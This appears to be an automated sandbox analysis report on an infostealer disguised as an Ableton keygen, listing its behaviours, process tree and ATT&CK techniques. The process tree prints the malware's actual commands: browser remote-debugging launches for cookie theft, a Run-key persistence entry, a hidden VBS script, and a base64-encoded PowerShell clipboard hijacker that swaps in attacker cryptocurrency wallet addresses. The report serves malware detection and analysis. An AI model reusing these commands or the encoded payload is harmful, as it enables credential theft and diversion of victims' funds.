Overview

overview

8

Static

static

3

Patcher an...ER.exe

windows10-2004-x64

8

Patcher an...ER.exe

windows11-ltsc_2024-x64

8

Patcher an...v2.exe

windows10-2004-x64

8

Patcher an...v2.exe

windows11-ltsc_2024-x64

8

Patcher an...fo.txt

windows10-2004-x64

1

Patcher an...fo.txt

windows11-ltsc_2024-x64

1

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/08/2026, 03:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Patcher and Keygen/Ableton Keygen v2.exe
  • Size 13.5MB
  • Sample260802-dv62jasvav
  • SHA256 621cd6dee50365f3caaf73f62f22ecad840d956874618b10d42cb9a5de76d7f6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
credential_accessdefense_evasiondiscoveryexecutionpersistencespywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Uses browser remote debugging 2 TTPs 5 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 33 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\Ableton Keygen v2.exe
    "C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\Ableton Keygen v2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\Ableton Keygen v2.exe
      "C:\Users\Admin\AppData\Local\Temp\Patcher and Keygen\Ableton Keygen v2.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4512
      • C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_4512.exe
        C:\Users\Admin\AppData\Local\Temp\ServiceUpdate_4512.exe
        3⤵
        • Executes dropped EXE
        PID:3916
      • C:\Windows\SYSTEM32\taskkill.exe
        taskkill /F /IM msedge.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1600
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9876 "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox
        3⤵
        • Uses browser remote debugging
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4856
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x228,0x22c,0x230,0x224,0x250,0x7ffb288ac188,0x7ffb288ac194,0x7ffb288ac1a0
          4⤵
            PID:4852
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2128 /prefetch:2
            4⤵
              PID:1768
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2136 /prefetch:3
              4⤵
              • System Time Discovery
              PID:2880
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:8
              4⤵
                PID:1996
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:3284
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3312 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:2588
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:1
                4⤵
                • Uses browser remote debugging
                PID:3276
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9876 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:2
                4⤵
                • Uses browser remote debugging
                PID:1736
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:8
                4⤵
                  PID:2304
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:8
                  4⤵
                    PID:3796
                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:8
                    4⤵
                      PID:3360
                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:8
                      4⤵
                        PID:1164
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2132,i,14606205351241854411,1599364782811387833,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:8
                        4⤵
                          PID:1924
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\tmpgh1am1gj.ps1
                        3⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5036
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DVsHIROgOx.vbs""
                        3⤵
                        • Hide Artifacts: Hidden Files and Directories
                        • Suspicious use of WriteProcessMemory
                        PID:932
                        • C:\Windows\system32\attrib.exe
                          attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DVsHIROgOx.vbs"
                          4⤵
                          • Views/modifies file attributes
                          PID:4232
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "DVsHIROgOx" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DVsHIROgOx.vbs"" /f"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3884
                        • C:\Windows\system32\reg.exe
                          reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "DVsHIROgOx" /t REG_SZ /d "wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DVsHIROgOx.vbs"" /f
                          4⤵
                          • Adds Run key to start application
                          PID:4604
                      • C:\Windows\SYSTEM32\wscript.exe
                        wscript.exe C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DVsHIROgOx.vbs
                        3⤵
                        • Checks computer location settings
                        • Executes a VBScript file via the Windows Script Host.
                        • Suspicious use of WriteProcessMemory
                        PID:3528
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand CgAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMACgAKACQAYQBkAGQAeQAgAD0AIABAAHsACgAKACAAIAAgACAAIgBiAHQAYwAiAD0AIgBiAGMAMQBxAGYAcAB0ADYAbABqAG0ANwBqADIAZQBkAHMAagBuADYAZgA4AGEAcQBzAHQAOQBxAHUANgB4ADUANQBkAGcAeQBmAHoAMwAwAGgAdwAiADsACgAKACAAIAAgACAAIgBlAHQAaAAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBsAHQAYwAiAD0AIgBsAHQAYwAxAHEAZgBjAHIAcABtAHgAdwA3ADQAMgBsAGMAZQBmADQAMwA1ADUAMgA2AGwAdwBkAHEAeQBuAHQAOABlAHIAcwBtAHQANAB5AGgAYQA3ACIAOwAKAAoAIAAgACAAIAAiAHUAcwBkAHQAIgA9ACIAVABVAEMAcgBhADcAYwA0ADgAYgB5AEwANAB4AEgAZgBaAFcAbgBYAGcAbQBKAEQAdQBQAHcAOQB1AHAAVABQAHoAMgAiADsACgAKACAAIAAgACAAIgB0AHIAeAAiAD0AIgBUAFUAQwByAGEANwBjADQAOABiAHkATAA0AHgASABmAFoAVwBuAFgAZwBtAEoARAB1AFAAdwA5AHUAcABUAFAAegAyACIAOwAKAAoAIAAgACAAIAAiAHMAbwBsACIAPQAiADUARQBXAHYATABLAFcAagA2ADYAcgBzAFYAdwBkAG8AVQBqAFQAeQBnAHUAagBqAFMAZgB1AHMARQBYAGYAVABSAGIAaAB2AFMANQBUAEIAaQAxAE0AeQAiADsACgAKACAAIAAgACAAIgB4AHIAcAAiAD0AIgByADMATgBWAEcAOQBQAEQAaABTAEoAZgBWAFIAdQBjAHYAVABoAFcAUwBQAGQAMQBRAEoAcgB2ADIAYwBuADIAZABvACIAOwAKAAoAIAAgACAAIAAiAHQAbwBuACIAPQAiAFUAUQBBADQAYQBsAGgAaAB2AGgAVABLAHEAeAB4AHUAdgB3AEMAeAByAHMAUgBsAEMASQBTAG0AQwBrADMAbQBLAFAAUAAwAHEARQBwAEwAcwB0AHIAcABtAHgAQgBpACIAOwAKAAoAIAAgACAAIAAiAGQAbwBnAGUAIgA9ACIARABHAGYANgBpAEoAZAA5AGIAZwBTAHQARwBkAEIASAA3AHYAeQB1AGsAcwBXAG0AZQA2AEYAQQB0AG4AbQBwAG8AdQAiADsACgAKACAAIAAgACAAIgBhAGQAYQAiAD0AIgBhAGQAZAByADEAcQA5AHUAYQBkAHMAcQBzAHUAcgB5AGwAagBqAG0AdABzAGEAbgBmAHcAMwB6ADgAdABzAHcAcQBhAGQAOQB3AGQAdQB2AGoAegA5ADMAawBxAHAAaABmAG4AcABzADAAcQBuADMAZABxAGMAbAAyAG4AawBhADgAZgB4AHkAcQB4AGoAOQB4AHQAcgB4AHcANwBwAGoAcQB4AGsAdQBjADUAbQAyAG4AcABoAGsAZgBoADcAOABzADQAawA5ADMAdgA3ACIAOwAKAAoAIAAgACAAIAAiAHMAaABpAGIAIgA9ACIAMAB4ADgAZQA5ADcANwBjADAAMABFAGYAZQBGADAAZQAzAEMAOQBhADAANAA0AEMAMAA2ADQAMQBlADIANgA0ADgARgA3ADcAMwAxADQAMgA1AGQAIgA7AAoACgAgACAAIAAgACIAcABlAHAAZQAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBiAG4AYgAiAD0AIgAwAHgAOABlADkANwA3AGMAMAAwAEUAZgBlAEYAMABlADMAQwA5AGEAMAA0ADQAQwAwADYANAAxAGUAMgA2ADQAOABGADcANwAzADEANAAyADUAZAAiADsACgAKACAAIAAgACAAIgBzAHUAaQAiAD0AIgAwAHgANAA5ADYAYwA1AGEAZABkAGYAMQA2ADYAZgA2ADcAOQAxAGEAMwBlAGUAYgAwAGIAMQBkADcANwBmAGQANgA1ADEAMABmADQANQA2ADIANQA2AGUANAAzAGEAOQBiADEAZAAwAGMANABhADgAOABiADMAMQA0AGYAZAA5ADcAZQAiADsACgAKACAAIAAgACAAIgB4AGwAbQAiAD0AIgBHAEEATQBCAEwAUwBQAEoASgBOAEMAUgBFAFcANwAyAFoARABDADIAQQBPAFoASgBMAEQANgBSAE4ATwBJAE4AWABHAE8ARwBMAFAASQBRAFAANgBOADMAQQA1AFUARABPAEMAWgBMAEUAQQA0ADQAIgA7AAoACgAgACAAIAAgACIAYgBjAGgAIgA9ACIAcQB6ADcAagB1ADAAOAA2AHAAMgAwAHMAdwBhAGgAcgByAGUAYQBoAGcANQBmADkANQBoAGgAZwBtAHUAdwBjAHoAcQBoAG4AbgA3AHAAbgBwAGQAIgAKAAoAfQAKAAoAdwBoAGkAbABlACgAJAB0AHIAdQBlACkAewAKACAAIAAgACAAdAByAHkAewAKACAAIAAgACAAIAAgACAAIAAkAHYAPQAkAG4AdQBsAGwACgAgACAAIAAgACAAIAAgACAAaQBmACgAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAGwAaQBwAGIAbwBhAHIAZABdADoAOgBDAG8AbgB0AGEAaQBuAHMAVABlAHgAdAAoACkAKQB7AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAEMAbABpAHAAYgBvAGEAcgBkAF0AOgA6AEcAZQB0AFQAZQB4AHQAKAApAC4AVAByAGkAbQAoACkACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAoACEAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIAVwBoAGkAdABlAFMAcABhAGMAZQAoACQAdAApACkAewAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoADEAfAAzAHwAYgBjADEAKQBbAGEALQB6AEEALQBIAEoALQBOAFAALQBaADAALQA5AF0AewAyADUALAA2ADIAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAYgB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAwAHgAWwBhAC0AZgBBAC0ARgAwAC0AOQBdAHsANAAwAH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGUAdABoACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AKABMAHwATQB8AGwAdABjADEAKQBbAGEALQBrAG0ALQB6AEEALQBIAEoALQBOAFAALQBaADEALQA5AF0AewAyADYALAA0ADAAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAbAB0AGMAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBUAFsAYQAtAHoAQQAtAEgASgAtAE4AUAAtAFoAMAAtADkAXQB7ADMAMwB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgB1AHMAZAB0ACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AWwAxAC0AOQBBAC0ASABKAC0ATgBQAC0AWgBhAC0AawBtAC0AegBdAHsAMwAyACwANAA0AH0AJAAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAHMAbwBsACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4AcgBbADAALQA5AGEALQB6AEEALQBaAF0AewAyADQALAAzADQAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeAByAHAAIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAFUAUQB8AEUAUQApAFsAQQAtAFoAYQAtAHoAMAAtADkAXwAtAF0AewA0ADYAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAdABvAG4AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgBEAFsANQAtADkAQQAtAEgASgAtAE4AUAAtAFUAXQBbADEALQA5AEEALQBIAEoALQBOAFAALQBaAGEALQBrAG0ALQB6AF0AewAzADIALAAzADMAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAZABvAGcAZQAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAoACQAdAAgAC0AbQBhAHQAYwBoACAAJwBeAGEAZABkAHIAMQBbADAALQA5AGEALQB6AF0AewA1ADgALAB9ACQAfABeAEQAZAB6AEYARgBbAEEALQBaAGEALQB6ADAALQA5AF0AKwAnACkAewAkAHYAPQAkAGEAZABkAHkAWwAiAGEAZABhACIAXQB9AAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGUAbABzAGUAaQBmACgAJAB0ACAALQBtAGEAdABjAGgAIAAnAF4ARwBbAEEALQBaADAALQA5AF0AewA1ADUAfQAkACcAKQB7ACQAdgA9ACQAYQBkAGQAeQBbACIAeABsAG0AIgBdAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAHQAIAAtAG0AYQB0AGMAaAAgACcAXgAoAGIAaQB0AGMAbwBpAG4AYwBhAHMAaAA6ACkAPwBbAHEAcABdAFsAYQAtAHoAMAAtADkAXQB7ADQAMQB9ACQAJwApAHsAJAB2AD0AJABhAGQAZAB5AFsAIgBiAGMAaAAiAF0AfQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAHYAIAAtAGEAbgBkACAAJAB0ACAALQBuAGUAIAAkAHYAKQB7AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AQwBsAGkAcABiAG8AYQByAGQAXQA6ADoAUwBlAHQAVABlAHgAdAAoACQAdgApAH0ACgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAB9AAoACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANQAwADAACgAKAH0ACgAKAA==
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3856
                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                    1⤵
                      PID:4156

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          3
                          T1059

                          PowerShell

                          1
                          T1059.001

                          Visual Basic

                          1
                          T1059.005

                          Windows Command Shell

                          1
                          T1059.003

                          Persistence

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Modify Authentication Process

                          1
                          T1556

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Defense Evasion

                          Hide Artifacts

                          2
                          T1564

                          Hidden Files and Directories

                          2
                          T1564.001

                          Modify Authentication Process

                          1
                          T1556

                          Modify Registry

                          1
                          T1112

                          Credential Access

                          Credentials from Password Stores

                          1
                          T1555

                          Credentials from Web Browsers

                          1
                          T1555.003

                          Modify Authentication Process

                          1
                          T1556

                          Steal Web Session Cookie

                          1
                          T1539

                          Unsecured Credentials

                          3
                          T1552

                          Credentials In Files

                          3
                          T1552.001

                          Discovery

                          Browser Information Discovery

                          1
                          T1217

                          Query Registry

                          3
                          T1012

                          System Information Discovery

                          4
                          T1082

                          System Network Configuration Discovery

                          1
                          T1016

                          Internet Connection Discovery

                          1
                          T1016.001

                          System Time Discovery

                          1
                          T1124

                          Lateral Movement

                          Collection

                          Data from Local System

                          2
                          T1005

                          Command and Control

                          Web Service

                          1
                          T1102

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          Msedge - Default.txt
                          • Path C:\Users\Admin\AppData\Local\Bunny\History\Msedge - Default.txt
                          • Size 58B
                          • SHA256 93278e434ba0ffdcd48367d83a957238953e732814e914d7aea316e22c5bbc27
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          cookies_temp_6656.db
                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\cookies_temp_6656.db
                          • Size 20KB
                          • SHA256 79265a3e366b324e74163601894656ba06514b58574febab32d760296a85fb09
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          credit_cards.db
